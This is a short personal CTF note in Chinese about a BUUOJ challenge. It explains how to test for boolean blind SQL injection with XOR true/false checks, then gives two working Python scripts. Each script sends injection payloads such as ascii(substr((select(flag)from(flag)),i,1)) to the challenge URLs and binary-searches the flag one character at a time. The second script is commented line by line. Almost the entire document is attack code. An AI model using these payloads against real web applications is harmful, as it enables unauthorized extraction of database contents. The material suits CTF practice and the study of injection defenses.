自用
题目
考虑是不是布尔盲注,如何测试:用"1^1^1=1 1^0^1=0,就像是真真真等于真,真假真等于假"这个测试
SQL布尔盲注脚本1
import requests
url = "http://8e4a9bf2-c055-4680-91fd-5b969ebc209e.node5.buuoj.cn:81/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf+right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id":payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
SQL布尔盲注脚本2
import requests
#调用请求模块
import time
#调用时间模块
import re
#调用规则表达式模块
url='http://1c6ac3dd-eab6-41d6-85a3-a5f888577768.node4.buuoj.cn:81/'
#题目链接
flag = ''
#创建一个变量用来存放flag值
for i in range(1,50):
#for循环遍历,i表示flag值大致长度是50以内
max = 127
#赋值127
min = 0
#赋值0
for c in range(0,127):
#for循环遍历
s = (int)((max+min)/2)
#首先将 max 和 min 相加,然后除以 2,最后将结果强制转换为整数类型。
payload = '1^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'
#^异或运算符,相同为假,不相同为真,1^payload,若为payload结果为假,则返回0,1^0=1,将得到查询id=1时的结果,回显Hello, glzjin wants a girlfriend。
#从flag数据表中选择一个名为flag的字段,然后取这个字段的字符串(从位置 '+str(i)+' 开始,长度为 1(每次只返回一个))
#将这个字符串转换为 ASCII 码,然后判断这个 ASCII 码是否大于一个名为 "s" 的变量。
r = requests.post(url,data = {'id':payload})
#requests模块的运用,将payload赋值给题目中这个名为id的参数
time.sleep(0.005)
#每循环一次休眠0.005秒
if 'Hello' in str(r.content):
#如果Hello这个字符串在生成的结果中,那么就继续向下进行
max=s
#将s的值赋值给max
else:
#反之
min=s
#将s的值赋值给min
if((max-min)<=1):
#如果max-min的值
flag+=chr(max)
#将max的ASCII值转化为字符串
print(flag)
#输出flag
break
#跳出循环